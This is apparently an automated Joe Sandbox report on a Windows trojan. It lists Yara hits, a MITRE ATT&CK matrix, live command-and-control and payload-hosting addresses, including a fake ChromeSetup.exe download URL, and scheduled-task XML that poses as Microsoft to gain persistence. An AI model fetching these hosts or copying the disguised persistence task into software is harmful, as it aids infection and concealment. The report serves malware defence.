Source: Yara match	File source: 6.3.FIWszl1A8l.exe.3fa4ebb.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.4173e13.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.FIWszl1A8l.exe.28205bf.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.a2b043.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.3fa4ebb.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.a3c1eb.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.41b486b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.FIWszl1A8l.exe.4142c4b.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2570644353.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.3537866824.0000000004173000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1775024265.0000000004111000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3791271776.0000000004310000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3789481950.0000000002FD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2571249345.0000000003F9B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1743428014.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1775024265.0000000004142000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2529901329.00000000041B4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3786854154.00000000027E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FIWszl1A8l.exe PID: 7852, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	222 Process Injection	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	121 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	26 System Information Discovery	Distributed Component Object Model	2 Clipboard Data	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	222 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Indicator Removal	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
FIWszl1A8l.exe	46%	Virustotal		Browse
FIWszl1A8l.exe	32%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\ChromeSetup[1].exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	32%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Downloads\ChromeSetup.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
8.217.85.20:9093	0%	Avira URL Cloud	safe
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exe	0%	Avira URL Cloud	safe
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/	0%	Avira URL Cloud	safe
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exe3E(	0%	Avira URL Cloud	safe
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exeZ	0%	Avira URL Cloud	safe
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exeg	0%	Avira URL Cloud	safe
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exetB	0%	Avira URL Cloud	safe
http://go.microsoftMicrosoft.PowerShell.Archive.psd1	0%	Avira URL Cloud	safe
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exexC	0%	Avira URL Cloud	safe
http://go.microsoftM	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com	47.79.66.76	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
8.217.85.20:9093	true	Avira URL Cloud: safe	unknown
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://html4/loose.dtd	ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1356459970.000000000563C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1403002958.000000000597C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1437685680.000000000568D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1674897205.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 0000000D.00000002.1420200807.0000000004776000.00000004.00000800.00020000.00000000.sdmp	false		high
https://crashpad.chromium.org/	ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	false		high
https://sectigo.com/CPS0	FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	false		high
http://ocsp.sectigo.com0	FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000013.00000002.1657270156.0000000004A95000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000004.00000002.1352573033.0000000004726000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000004A65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000004F10000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1420200807.0000000004776000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.0000000004F27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.0000000004A95000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 0000000D.00000002.1442684525.0000000006FF6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1448148275.00000000081F3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000013.00000002.1657270156.0000000004A95000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/	FIWszl1A8l.exe, 00000000.00000002.1734717265.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 0000000A.00000002.1392284499.0000000005223000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.00000000050E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000005043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.000000000529C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.00000000050AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://crashpad.chromium.org/bug/new	ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	false		high
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exeg	FIWszl1A8l.exe, 00000000.00000002.1734717265.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000013.00000002.1674897205.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000013.00000002.1674897205.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	false		high
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exe3E(	FIWszl1A8l.exe, 00000000.00000002.1734717265.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://.css	ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	false		high
https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new	ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000013.00000002.1657270156.0000000004A95000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.microsoftMicrosoft.PowerShell.Archive.psd1	powershell.exe, 00000013.00000002.1679857950.0000000007090000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	false		high
http://crl.micro	powershell.exe, 0000000D.00000002.1416194201.0000000002ACC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1448148275.00000000081F3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1679857950.00000000070AB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000004.00000002.1352573033.00000000045D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000004911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1420200807.0000000004621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.0000000004941000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1648793424.00000000042E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1648793424.00000000042D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exetB	FIWszl1A8l.exe, 00000000.00000002.1734717265.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://m.google.com/devicemanagement/data/api	ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	false		high
https://www.remobjects.com/ps	FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	false		high
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exexC	FIWszl1A8l.exe, 00000000.00000002.1734717265.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dl.google.com/update2/installers/icons/	ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000004.00000002.1352573033.0000000004726000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000004A65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000004F10000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1420200807.0000000004776000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.0000000004F27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.0000000004A95000.00000004.00000800.00020000.00000000.sdmp	false		high
http://support.google.com/installer/	ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	false		high
https://contoso.com/	powershell.exe, 00000013.00000002.1674897205.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1356459970.000000000563C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1403002958.000000000597C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1437685680.000000000568D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1674897205.00000000059A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	FIWszl1A8l.exe, FIWszl1A8l.exe.0.dr	false		high
http://support.google.com/installer/%s?product=%s&error=%d	ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	false		high
https://jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com/ChromeSetup.exeZ	FIWszl1A8l.exe, 00000000.00000002.1734717265.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.microsoftM	powershell.exe, 00000013.00000002.1679857950.0000000007090000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1352573033.00000000045D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1392284499.0000000004911000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1420200807.0000000004621000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1657270156.0000000004941000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1648793424.0000000004314000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	ChromeSetup[1].exe.0.dr, ChromeSetup.exe.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
47.79.66.76	jdoigshetligsndglsdrjktg.oss-cn-hongkong.aliyuncs.com	United States		9500	VODAFONE-TRANSIT-ASVodafoneNZLtdNZ	false
8.217.85.20	unknown	Singapore		45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587335
Start date and time:	2025-01-10 07:51:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FIWszl1A8l.exe renamed because original name is a hash value
Original Sample Name:	f1c0a349ef488c9d2fde3dd7f3c497bd.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@29/27@1/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 86% Number of executed functions: 185 Number of non-executed functions: 226
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.12.23.50, 172.202.163.200
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7648 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7980 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8120 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:52:03	API Interceptor	42x Sleep call for process: powershell.exe modified
01:52:33	API Interceptor	3898127x Sleep call for process: FIWszl1A8l.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	5.elf	Get hash	malicious	Unknown	Browse	8.209.177.126
	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse	8.217.59.222
	https://199.188.109.181	Get hash	malicious	Unknown	Browse	47.254.187.72
	Fantazy.sh4.elf	Get hash	malicious	Unknown	Browse	8.214.203.178
	6.elf	Get hash	malicious	Unknown	Browse	8.222.188.75
	Benefit_401k_2025_Enrollment.pdf	Get hash	malicious	Unknown	Browse	47.246.158.153
	123.exe	Get hash	malicious	Metasploit	Browse	47.90.142.15
	arm7.elf	Get hash	malicious	Mirai	Browse	8.222.72.249
	ppc.elf	Get hash	malicious	Mirai	Browse	8.219.224.17
	spc.elf	Get hash	malicious	Mirai	Browse	8.220.214.139
VODAFONE-TRANSIT-ASVodafoneNZLtdNZ	armv5l.elf	Get hash	malicious	Unknown	Browse	47.79.173.144
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	121.74.70.74
	leBwnyHIgx.exe	Get hash	malicious	GhostRat	Browse	47.79.48.230
	miori.arm5.elf	Get hash	malicious	Unknown	Browse	47.78.226.190
	miori.spc.elf	Get hash	malicious	Unknown	Browse	118.95.51.101
	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	121.74.70.74
	armv4l.elf	Get hash	malicious	Unknown	Browse	118.95.125.90
	HGwpjJUqhW.exe	Get hash	malicious	GhostRat	Browse	47.79.48.211
	1731043030539.exe	Get hash	malicious	ReflectiveLoader	Browse	47.76.199.218
	armv7l.elf	Get hash	malicious	Unknown	Browse	47.78.236.90

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse	47.79.66.76
	n41dQbiw1Y.exe	Get hash	malicious	Babuk, Djvu	Browse	47.79.66.76
	stage3.exe	Get hash	malicious	CobaltStrike	Browse	47.79.66.76
	1C24TDP_000000029.jse	Get hash	malicious	MassLogger RAT	Browse	47.79.66.76
	drop1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	47.79.66.76
	DyM4yXX.exe	Get hash	malicious	Vidar	Browse	47.79.66.76
	http://cipassoitalia.it	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	47.79.66.76
	DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe	Get hash	malicious	Remcos	Browse	47.79.66.76
	xCnwCctDWC.exe	Get hash	malicious	LummaC	Browse	47.79.66.76
	DLKs2Qeljg.exe	Get hash	malicious	LummaC	Browse	47.79.66.76

Process:	C:\Users\user\Desktop\FIWszl1A8l.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10384768
Entropy (8bit):	6.780997055675606
Encrypted:	false
SSDEEP:	196608:VpjYZ94Z6AhJ5NtGdDDIauMJZZCgdaTos7s4QA/rmYeus5dvXCKsJdVV3qHDYyYL:VpjwKZF5LGdDDvJZZCgdwbcAheus5xXU
MD5:	8C6E8B9F0955CB1ACD92C7C43A8899ED
SHA1:	42885DBB8DC515E8D706C9E2085245548E44373E
SHA-256:	2CB24656EF0CA18A905190C553C2451D44FC09EF9261976450EFDF8C72E8E582
SHA-512:	154210EC82DB87C5598F699F84DA4C5F7105676D089F54DB599D086850895BCBB69C7DD1EE9372E09AA1C77EDFEBA644CE4EE810CB961294844984355F245F98
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...{*2g.........."......T4...i...................@......................................@.........................<.=.U.....=.@.....@..H^..........,...I...`.......k=.....................Pi=......q4.............@.=.l............................text....S4......T4................. ..`.rdata..`....p4......X4.............@..@.data........ >..R....=.............@....tls....u.....?......N>.............@...CPADinfo(.....?......P>.............@...malloc_h......@......R>............. ..`.rsrc....H^...@..H^..T>.............@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulfkT/Z:NllUMT
MD5:	D4FA57E524AF6F31660A084960CF6589
SHA1:	28936BB37DAA2328742AA1B48F0DB33565DB5A07
SHA-256:	6C8D419DBFA43F3540145F767A34D6F90487339EA5B5E150A6BA771EBA0593D4
SHA-512:	2A35319EFC241394638E7BE9E1BE44FCB5F2F51F1FA21A5E3F80FC61B989B4D1C5E2A64959D799E9ACB453936CF9028FC2DB64357B1BEE9DB1F0822CE8FEE432
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\PolicyManagement.xml

Download File

Process:	C:\Users\user\AppData\Roaming\FIWszl1A8l.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1893
Entropy (8bit):	5.212287775015203
Encrypted:	false
SSDEEP:	48:c55XzDl4Q2ZbXL6Q0QFdOFQOzN33O4OiDdKrKsTLXbGMv:O5XzDl4Q2ZbGQhFdOFQOzBdKrKsTLXbV
MD5:	E3FB2ECD2AD10C30913339D97E0E9042
SHA1:	A004CE2B3D398312B80E2955E76BDA69EF9B7203
SHA-256:	1BD6DB55FFF870C9DF7A0AAC11B895B50F57774F20A5744E63BBC3BD40D11F28
SHA-512:	9D6F0C1E344F1DC5A0EF4CAAD86281F92A6C108E1085BACD8D6143F9C742198C2F759CA5BDFFAD4D9E40203E6B0460E84896D1C6B8B1759350452E1DE809B716
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2006-11-10T14:29:55.5851926</Date>. <Author>Microsoft Corporation</Author>. <Description>????? AD RMS ?????????????????? Web ?????????,???????????</Description>. <URI>\AS AMD updata</URI>. <SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;WD)</SecurityDescriptor>. </RegistrationInfo>. <Triggers>. <LogonTrigger id="06b3f632-87ad-4ac0-9737-48ea5ddbaf11">. <Enabled>true</Enabled>. <Delay>PT30S</Delay>. </LogonTrigger>. </Triggers>. <Principals>. <Principal id="AllUsers">. <GroupId>S-1-1-0</GroupId>. <RunLevel>HighestAvailable</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>. <AllowHardTerm

C:\Users\user\AppData\Local\Temp\PolicyManagement.xml

Download File

Process:	C:\Users\user\Desktop\FIWszl1A8l.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	5.172564010951281
Encrypted:	false
SSDEEP:	48:ck5XzDlybXL6Q0QFdOFQOzN33O4OiDdKrKsTLXbGMv:75XzDlybGQhFdOFQOzBdKrKsTLXbV
MD5:	A16DD00D191DC2FC881634D7DEE2026C
SHA1:	53A373DC6DA7CA186695CCCB9BF3CFC205C45C58
SHA-256:	27CD089F35A3AB92614414C0788900BC64C637B2FC011858932F335C88FEF23D
SHA-512:	F430EB5753C428D3473485217865F9BC8C16804C211A2788E3B90D6F9CE499BF0842EB35A4519AD5223741348E4AB47F80A4F13004D5EE9B2CD0322B75E82264
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.6" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2006-11-10T14:29:55.5851926</Date>. <Author>Microsoft Corporation</Author>. <Description>????? AD RMS ?????????????????? Web ?????????,???????????</Description>. <URI>\.Net OneStart</URI>. <SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;WD)</SecurityDescriptor>. </RegistrationInfo>. <Triggers />. <Principals>. <Principal id="AllUsers">. <GroupId>S-1-1-0</GroupId>. <RunLevel>HighestAvailable</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable>.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_00ro3hm1.mcv.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
